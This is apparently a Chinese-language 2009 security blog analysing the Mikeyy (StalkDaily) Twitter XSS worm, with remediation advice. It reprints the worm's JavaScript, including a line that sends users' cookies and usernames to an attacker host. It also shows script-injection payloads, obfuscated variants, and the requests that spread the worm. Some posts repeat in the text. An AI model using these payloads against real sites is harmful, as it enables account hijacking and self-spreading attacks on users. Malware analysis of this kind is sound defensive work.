randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";
[第二代Mikeyy（StalkDaily）]
第二代整隻經過自動工具兩層的混碼，真的很討厭。原始javascript（節錄）：
var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","
脫第一層殼之後，可以看到（節錄）：
var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "POST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
function XHConn(){
var _0x6687x2,_0x6687x3=false;
try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
catch(e) { _0x6687x2=false; }; }; };
此時由於mikeyylolz.uuuq.com被關閉，蠕蟲本體改放在「content.ireel.com/xssjs.js」與「http://content.ireel.com/jsxss.js」，回傳位置則改為包括「hxxp://omghax.uuuq.com/x.php」與「hxxp://content.ireel.com/j.php」等位置。從上面的程式可以看出，此時被感染的使用者，會被冒發下列訊息：
"Twitter should really fix this... Mikeyy"
"I am done... Mikeyy"
"Mikeyy is done.."
"Twitter please fix this, regards Mikeyy"
同時並可以看出，Mikeyy還是有偷使用者帳號與cookie，只是程式移到了wait()函式內。
此外，二代開始打不同的XSS（跨站腳本攻擊）弱點，包括「profile_background_tile」與「profile_link_color」等變數。
[第三代Mikeyy（StalkDaily）]
第三代與第二代大致上相同，唯由於偷密碼位置「hxxp://omghax.uuuq.com」亦被關閉，故帳號與cookie改回報至「hxxp://bambamyo.110mb.com/j.php」，並將蠕蟲javascript本體放至「http://bambamyo.110mb.com/wompwomp.js」。
一至三代共同點：
1. 皆會偷使用者帳號與cookie
一與二、三代不同點：
1. 一代無混碼，二、三代有
2. 惡意javascript放至位置與回報帳號/cookie之位置不同
3. 攻擊之XSS（跨站腳本攻擊）弱點不同
4. 冒發之訊息不同
此三代twitter於星期天（亞洲時間）處理完畢並修正了XSS漏洞。
[第四代Mikeyy（StalkDaily）]
第四代於亞洲時間星期一晚上爆發，沒有編碼，主打「name」欄位的XSS（跨站腳本攻擊）弱點，該弱點當時twitter並未修復，蠕蟲再度快速擴散。此時特別的是，Mikeyy反正已經公開承認是蠕蟲他做的，也就不隱藏了，把惡意javascript直接放在自己的「StalkDaily.com」網站上。以下四代程式碼節錄：
randomXSS[0] = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';
解出來為：
<script src="http://www.stalkdaily.com/ajax.js"></script>
第四代並將偷使用者帳號與cookie的程式移除了。
此時冒發的訊息為：
randomUpdate[0]="Twitter, freaking fix this already. >:[ - Mikeyy";
randomUpdate[1]="Twitter, your community is going to be mad at you... - Mikeyy";
randomUpdate[2]="This worm is getting out of hand Twitter. - Mikeyy";
randomUpdate[3]="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/cojc6s";
randomUpdate[4]="This is all Twitters fault! Don't blame Mikeyy!!";
randomUpdate[5]="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/4ywBID";
randomUpdate[6]="How TO remove new Mikeyy worm! RT!! http://bit.ly/yCL1s";
[第五代Mikeyy（StalkDaily）]
很快地，Mikeyy散發出了第五代，此時亞洲也有使用者注意到了：
五代大致上與四代相同，唯加上了記錄使用者帳號的一行程式，但是跟一至三代不同，五代只記錄帳號，並未偷竊密碼，回報處也直接是「hxxp://www.stalkdaily.com/x.php」：
function wait()
{
var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];
document.write("<img src='http://www.stalkdaily.com/x.php?username=" + username + "'>");
記錄被感染者帳號的「x.php」一開始時，會直接寫入http://www.stalkdaily.com/users.txt中，我們可以看到當時被感染的使用者帳號（目前twitter已經都處理完畢）：
看到時，我決定跟Mikeyy打聲招呼，於是下了：「http://www.stalkdaily.com/x.php?username=greetings_from_wayne」...
可是reload users.txt，怎麼沒有出現呢？再下一次時，出現錯誤訊息：
原來Mikeyy改了x.php，不再寫到users.txt，改寫入mysql資料庫。
五代冒發之訊息只有一條：「Twitter, hire Mikeyy! (718)...」（推特，聘用Mikeyy！），後面是Mikeyy的電話，由於Mikeyy可能未成年，這邊就刪了。
[觀察]
觀察：
1. 過了三年，從Samy到Mikeyy，XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲，花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞
4. 果然不幸被我們言中，twitter那時無法一下子把所有漏洞修完，故隔天讓四代與五代有機可乘
[建議被感染之使用者：]
1. 登出twitter，清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔，通常在C:\Windows\System32\drivers\etc或類似目錄下，並加入以下五行，可以防止瀏覽器下載該惡意javascript：
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com
3. 可考慮利用firefox的noscript外掛，避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正（profile關閉者注意是否有被打開）
作者 Wayne 為阿碼科技CEO
相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」（本篇）
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
後記：
當初在SANS日誌上寫ARP掛馬的Bojan Zdrnja，昨天在SANS日誌上也很快地針對Mikeyy所用之javascript混碼（變形）發表了第二篇關於Mikeyy蠕蟲之報告（前一天之報告在此）：Twitter worm copycats，其中提及：這個手法跟我上星期介紹的變形手法如出一轍，他們在看SANS日誌嗎？
（are they reading the ISC diaries?）
這讓我想到之前我們寫的「網路藍色藥丸？首支攻擊路由器之蠕蟲出現：再談路徑之安全性」中，早在今年一月就率先分析該路由器蠕蟲之Teamfurry，在其最新的blog上指出，經過了三個月，PSYB0T已經有了演進，「應該是看到了Terry的blog」。
非也，SANS的Bojan，錯了，Teamfurry的Terry，根據台灣某blogger，「駭客不會沒事看blog的」...
後後記：很不幸，twitter在五代之後還是沒正確修改漏洞，六代捲土重來，相關文章如上列。
繼續閱讀全文...
2009年4月12日
17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的
昨天晚上開始，twitter上以驚人的速度，不斷有人抱怨被「我被StalkDaily蠕蟲攻擊了！」Twitter很紅的介面之一TweetVisor也在畫面左邊顯示警告：
不久之後，twitter公佈，這是twitter的跨站腳本攻擊（cross-site scripting，XSS）漏洞所導致的，目前已經將漏洞修掉了：
事發初期，TechCrunch有報導（很少資安新聞能夠上TechCrunch），並有網友留言公開原始XSS蠕蟲之程式碼如下：
這隻蠕蟲利用了twitter的XSS漏洞，感染twitter使用者profile的「location」或「web」欄位，寫入惡意javascript（來源：hxxp://http://mikeyylolz.uuuq.com/x.js）。這隻javascript一方面會已被感染之使用者帳號發出tweet，推「www.stalkdaily.com」這個網站，一方面則會在其他使用者瀏覽該profile時，成功感染並散播。
程式碼很短，我們來研究一下，重點從第73行開始。73-76行，利用regex找出該受害使用者之正確twitter帳號。78-80行，會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com，成功盜取使用者登入資訊，以後攻擊者可以利用此資訊以受害者身份登入。
接下來攻擊程式就要透過twitter的HTTP POST介面來修改使用者之「web」欄位，插入惡意javascript，以感染其他使用者了。83行開始是一個wait()函式，要過三秒後才會執行。85-89行利用regex找出「form_authenticity_token」這個表單變數。Twitter使用該隱藏之表單變數來對應session，應該有避免CSRF漏洞之用意。所以呼叫twitter的HTTP POST介面時，都需要帶此變數。93-102行，內建了六個要以受害者名義發出之tweet，主要都是推「www.stalkdaily.com」這個網站，並隨機選一個tweet，準備發送。104行是實際的XSS攻擊碼，插入惡意javascript。106-109，四行的程式做了兩件事：a)透過twitter的HTTP POST介面，發出假tweet，以及b)同法，修改「web」，以便感染其他使用者。
我們複製該攻擊，並用paros觀察，確定可以成功，唯目前twitter已經將字串過濾，有效修補了此XSS漏洞：
這個攻擊不需要特殊的權限才能進行。攻擊者可以先註冊幾個twitter帳號，並在該帳號之「web」欄位插入惡意javascript，並藉由該帳號發出一些吸引人之tweet，或開始跟隨別人。很多人會自動跟隨他們的跟隨者，所以你跟隨很多人之後，會自然有些人跟隨你，或至少會有人看一下你的profile，看看你是誰。一看你的profile，該使用者的「web」欄位就會被感染了，蠕蟲也就靠此散播。
根據網友在TechCrunch留言表示，該XSS漏洞於一星期前仍不存在，應該是最近twitter小幅改版造成的，沒想到很快就遭到利用。事發當初，StalkDaily於首頁上發表聲明，表示該站絕對與事件無關：
但是由於一下子感染太多人，一下子紙包不住火，很快地，StalkDaily的創辦人，17歲的Mikeyy Mooney就接受BNOnews採訪，承認是他寫的蠕蟲，同時也在網站登出了聲明：
報導中說，Mikeyy才17歲。這個事件當然讓我們想到了著名的Samy。2005年，當時才19歲的Samy，也是寫了一隻類似（但較複雜）的蠕蟲，很快的在MySpace上散播，並因為散播太快而導致MySpace當機。Samy當時被美國秘密警察逮捕，判三年緩刑與90天的社區服務。在OWASP US 2007會議上，OWASP有邀請Samy來演講，以下照片是演講完時Samy與阿碼同事討論的情形（上圖從左：阿碼Walter、Kuon、Jordan、Chris、Matt，白色衣服為Samy，下圖：阿碼Kuon送Samy一件armorize 31337 tshirt）。
Samy表示，那時他才19歲，為了跟女友打賭他可以在MySpace上擁有很多粉絲，將他設成英雄（Hero），但是又達不到，才突然想到不如寫隻程式作弊好了！當時Samy不懂資安，也不懂什麼是XSS弱點，只是稍微研究了一下MySpace，就發現有漏洞可以利用。蠕蟲出去後，很快地，Samy有了支持者，他們的profile上面加了一行：「Samy's my hero!（Samy是我的英雄）」。Samy得意了以後一想不對，這個蠕蟲的散播是exponential的，不是linear的，天哪！於是他趕快上MySpace，把自己的帳號刪除，但是結果發現MySpace說，帳號無法立即刪除，但是稍後會刪除。第二天起床，他連往自己的帳號，連不到，心想，好在好在，帳號刪除了，我沒事...但是結果連往女友的帳號，發現也連不上，後來發現所有朋友的帳號都連不上...原來MySpace當機了！Samy從此活在恐懼中，直到有一天，果然，他回家，就被秘密警察逮捕了。
Samy的並沒有被判很重的刑，因為他其實不懂資安，也沒有利用XSS弱點來偷別人的帳號，只是單純的把別人的帳號加了一行：Samy是我的英雄，並植入惡意javascript感染他人。當時他演講時，還是不能碰電腦的（只有工作時可以碰電腦），所以由OWASP工作人員幫他操作投影片。
這次Mikeyy Mooney比Samy更年輕，只有17歲，但是如果被逮捕，可能不一定這麼好過，因為程式碼中之地80行，明顯地是在偷他人的帳號與cookie，並回傳至自己的網站。住在紐約的Mikkey在之後的Net News Daily訪問中表示，他是於一個星期前發現該XSS漏洞，並於昨晚花了兩個小時寫出了此蠕蟲。在被問到還會不會寫新的蠕蟲時，他表示不確定，如果twitter的程式還不正確的處理變數，那就有可能。相對於那時純粹出於好玩而犯錯的Samy，Mikeyy的這些談話，加上剛才我在youtube上發現他之前就有把打其他站的過程上傳，我覺得...Mikeyy最好保重，我不認為法官會像Samy一樣處理Mikeyy，也不覺得大家會那麼容易像原諒Samy一樣原諒Mikeyy。
此外，根據蒐集的資料，Mikeyy後來也將該惡意javascript編碼，譬如以下tweet的回報：
解出來為content.ireel.com/xssjs.js，目前檔案還在，內容節錄如下：
單純16進位編碼，不是什麼特殊的混碼（obfuscation），解出來程式跟上面的大同小異。
此外，根據蒐集的資料，twitter很明顯地在不只一個欄位有XSS漏洞，而Mikeyy也成功利用了其他欄位。twitter不見得能找到所有含有XSS漏洞的程式碼，再加上Mikeyy表示不一定就此罷手，故往後仍有一些風險。
結論：
1. 受感染之Twitter使用者會發出tweet，幫StalkDaily打廣告
2. 受感染之Twitter使用者會遭受惡意javascript偷帳號與cookie（等同密碼）
3. 瀏覽受感染使用者之profile，就會被感染，並被偷密碼
4. Twitter已經承認該蠕蟲為利用Twitter之XSS漏洞，並已經修復漏洞
5. 我們測試，攻擊確實為有效攻擊
6. 負責傳播惡意javascript程式的網址目前已知有：
A. mikeyylolz.uuuq.com （已被停用）
B. content.ireel.com（還在）
C. omghax.uuuq.com（已被停用）
D. www.stalkdaily.com
E. bambamyo.110mb.com
建議被感染之使用者：
1. 登出twitter，清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔，通常在C:\Windows\System32\drivers\etc或類似目錄下，並加入以下五行，可以防止瀏覽器下載該惡意javascript：
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com
3. 可考慮利用firefox的noscript外掛，避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正（profile關閉者注意是否有被打開）
觀察：
1. 過了三年，從Samy到Mikeyy，XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲，花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞
作者 Wayne 為阿碼科技CEO
p.s. 看中文的朋友，我的中文twitter：http://twitter.com/waynehuang2
（以下為好友Jeremiah與RSnake（ha.ckers.org / sla.ckers.org）穿著「SAMY IS MY HERO（Samy是我的英雄）」Tshirt，於OWASP-WASC 2007與Samy的合照）
（來源：http://garrettgee.com）
後記：Sans與F-Secure都出來講話了（連結），但是我們快一些 :)
後後記：不幸言中，Mikeyy四代與五代隔天爆發，見下一篇：「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
後後後記：很不幸，twitter在五代之後還是沒正確修改漏洞，六代捲土重來，相關文章如下：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」（本篇）
繼續閱讀全文...
不久之後，twitter公佈，這是twitter的跨站腳本攻擊（cross-site scripting，XSS）漏洞所導致的，目前已經將漏洞修掉了：
事發初期，TechCrunch有報導（很少資安新聞能夠上TechCrunch），並有網友留言公開原始XSS蠕蟲之程式碼如下：
function XHConn()
{
var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase();
try {
if (sMethod == "GET")
{
xmlhttp.open(sMethod, sURL+"?"+sVars, true);
sVars = "";
}
else
{
xmlhttp.open(sMethod, sURL, true);
xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
}
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && !bComplete)
{
bComplete = true;
fnDone(xmlhttp);
}};
xmlhttp.send(sVars);
}
catch(z) { return false; }
return true;
};
return this;
}
function urlencode( str ) {
var histogram = {}, tmp_arr = [];
var ret = str.toString();
var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};
histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';
ret = encodeURIComponent(ret);
for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}
return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
return "%"+m2.toUpperCase();
});
return ret;
}
var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];
var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");
function wait()
{
var content = document.documentElement.innerHTML;
authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);
var Randomupdate=new Array();
randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";
var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
updateEncode = urlencode(genRand);
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&supdates="+updateEncode+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250);
這隻蠕蟲利用了twitter的XSS漏洞，感染twitter使用者profile的「location」或「web」欄位，寫入惡意javascript（來源：hxxp://http://mikeyylolz.uuuq.com/x.js）。這隻javascript一方面會已被感染之使用者帳號發出tweet，推「www.stalkdaily.com」這個網站，一方面則會在其他使用者瀏覽該profile時，成功感染並散播。
程式碼很短，我們來研究一下，重點從第73行開始。73-76行，利用regex找出該受害使用者之正確twitter帳號。78-80行，會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com，成功盜取使用者登入資訊，以後攻擊者可以利用此資訊以受害者身份登入。
接下來攻擊程式就要透過twitter的HTTP POST介面來修改使用者之「web」欄位，插入惡意javascript，以感染其他使用者了。83行開始是一個wait()函式，要過三秒後才會執行。85-89行利用regex找出「form_authenticity_token」這個表單變數。Twitter使用該隱藏之表單變數來對應session，應該有避免CSRF漏洞之用意。所以呼叫twitter的HTTP POST介面時，都需要帶此變數。93-102行，內建了六個要以受害者名義發出之tweet，主要都是推「www.stalkdaily.com」這個網站，並隨機選一個tweet，準備發送。104行是實際的XSS攻擊碼，插入惡意javascript。106-109，四行的程式做了兩件事：a)透過twitter的HTTP POST介面，發出假tweet，以及b)同法，修改「web」，以便感染其他使用者。
我們複製該攻擊，並用paros觀察，確定可以成功，唯目前twitter已經將字串過濾，有效修補了此XSS漏洞：
這個攻擊不需要特殊的權限才能進行。攻擊者可以先註冊幾個twitter帳號，並在該帳號之「web」欄位插入惡意javascript，並藉由該帳號發出一些吸引人之tweet，或開始跟隨別人。很多人會自動跟隨他們的跟隨者，所以你跟隨很多人之後，會自然有些人跟隨你，或至少會有人看一下你的profile，看看你是誰。一看你的profile，該使用者的「web」欄位就會被感染了，蠕蟲也就靠此散播。
根據網友在TechCrunch留言表示，該XSS漏洞於一星期前仍不存在，應該是最近twitter小幅改版造成的，沒想到很快就遭到利用。事發當初，StalkDaily於首頁上發表聲明，表示該站絕對與事件無關：
但是由於一下子感染太多人，一下子紙包不住火，很快地，StalkDaily的創辦人，17歲的Mikeyy Mooney就接受BNOnews採訪，承認是他寫的蠕蟲，同時也在網站登出了聲明：
報導中說，Mikeyy才17歲。這個事件當然讓我們想到了著名的Samy。2005年，當時才19歲的Samy，也是寫了一隻類似（但較複雜）的蠕蟲，很快的在MySpace上散播，並因為散播太快而導致MySpace當機。Samy當時被美國秘密警察逮捕，判三年緩刑與90天的社區服務。在OWASP US 2007會議上，OWASP有邀請Samy來演講，以下照片是演講完時Samy與阿碼同事討論的情形（上圖從左：阿碼Walter、Kuon、Jordan、Chris、Matt，白色衣服為Samy，下圖：阿碼Kuon送Samy一件armorize 31337 tshirt）。
Samy表示，那時他才19歲，為了跟女友打賭他可以在MySpace上擁有很多粉絲，將他設成英雄（Hero），但是又達不到，才突然想到不如寫隻程式作弊好了！當時Samy不懂資安，也不懂什麼是XSS弱點，只是稍微研究了一下MySpace，就發現有漏洞可以利用。蠕蟲出去後，很快地，Samy有了支持者，他們的profile上面加了一行：「Samy's my hero!（Samy是我的英雄）」。Samy得意了以後一想不對，這個蠕蟲的散播是exponential的，不是linear的，天哪！於是他趕快上MySpace，把自己的帳號刪除，但是結果發現MySpace說，帳號無法立即刪除，但是稍後會刪除。第二天起床，他連往自己的帳號，連不到，心想，好在好在，帳號刪除了，我沒事...但是結果連往女友的帳號，發現也連不上，後來發現所有朋友的帳號都連不上...原來MySpace當機了！Samy從此活在恐懼中，直到有一天，果然，他回家，就被秘密警察逮捕了。
Samy的並沒有被判很重的刑，因為他其實不懂資安，也沒有利用XSS弱點來偷別人的帳號，只是單純的把別人的帳號加了一行：Samy是我的英雄，並植入惡意javascript感染他人。當時他演講時，還是不能碰電腦的（只有工作時可以碰電腦），所以由OWASP工作人員幫他操作投影片。
這次Mikeyy Mooney比Samy更年輕，只有17歲，但是如果被逮捕，可能不一定這麼好過，因為程式碼中之地80行，明顯地是在偷他人的帳號與cookie，並回傳至自己的網站。住在紐約的Mikkey在之後的Net News Daily訪問中表示，他是於一個星期前發現該XSS漏洞，並於昨晚花了兩個小時寫出了此蠕蟲。在被問到還會不會寫新的蠕蟲時，他表示不確定，如果twitter的程式還不正確的處理變數，那就有可能。相對於那時純粹出於好玩而犯錯的Samy，Mikeyy的這些談話，加上剛才我在youtube上發現他之前就有把打其他站的過程上傳，我覺得...Mikeyy最好保重，我不認為法官會像Samy一樣處理Mikeyy，也不覺得大家會那麼容易像原諒Samy一樣原諒Mikeyy。
此外，根據蒐集的資料，Mikeyy後來也將該惡意javascript編碼，譬如以下tweet的回報：
解出來為content.ireel.com/xssjs.js，目前檔案還在，內容節錄如下：
var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","
單純16進位編碼，不是什麼特殊的混碼（obfuscation），解出來程式跟上面的大同小異。
此外，根據蒐集的資料，twitter很明顯地在不只一個欄位有XSS漏洞，而Mikeyy也成功利用了其他欄位。twitter不見得能找到所有含有XSS漏洞的程式碼，再加上Mikeyy表示不一定就此罷手，故往後仍有一些風險。
結論：
1. 受感染之Twitter使用者會發出tweet，幫StalkDaily打廣告
2. 受感染之Twitter使用者會遭受惡意javascript偷帳號與cookie（等同密碼）
3. 瀏覽受感染使用者之profile，就會被感染，並被偷密碼
4. Twitter已經承認該蠕蟲為利用Twitter之XSS漏洞，並已經修復漏洞
5. 我們測試，攻擊確實為有效攻擊
6. 負責傳播惡意javascript程式的網址目前已知有：
A. mikeyylolz.uuuq.com （已被停用）
B. content.ireel.com（還在）
C. omghax.uuuq.com（已被停用）
D. www.stalkdaily.com
E. bambamyo.110mb.com
建議被感染之使用者：
1. 登出twitter，清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔，通常在C:\Windows\System32\drivers\etc或類似目錄下，並加入以下五行，可以防止瀏覽器下載該惡意javascript：
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com
3. 可考慮利用firefox的noscript外掛，避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正（profile關閉者注意是否有被打開）
觀察：
1. 過了三年，從Samy到Mikeyy，XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲，花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞
作者 Wayne 為阿碼科技CEO
p.s. 看中文的朋友，我的中文twitter：http://twitter.com/waynehuang2
（以下為好友Jeremiah與RSnake（ha.ckers.org / sla.ckers.org）穿著「SAMY IS MY HERO（Samy是我的英雄）」Tshirt，於OWASP-WASC 2007與Samy的合照）
（來源：http://garrettgee.com）
後記：Sans與F-Secure都出來講話了（連結），但是我們快一些 :)
後後記：不幸言中，Mikeyy四代與五代隔天爆發，見下一篇：「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
後後後記：很不幸，twitter在五代之後還是沒正確修改漏洞，六代捲土重來，相關文章如下：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」（本篇）
繼續閱讀全文...
2009年4月4日
實際演練說明，你的路徑安全嗎？CERT: 攔截式代理伺服器有漏洞、SANS：小心你的路由器！
（本文中你將看到實際的演練，在真實的網路上，我們會示範如何藉由攔截式代理伺服器的漏洞，取得路由器與其他內網伺服器的管理介面與登入prompt。測試點不在台灣。）
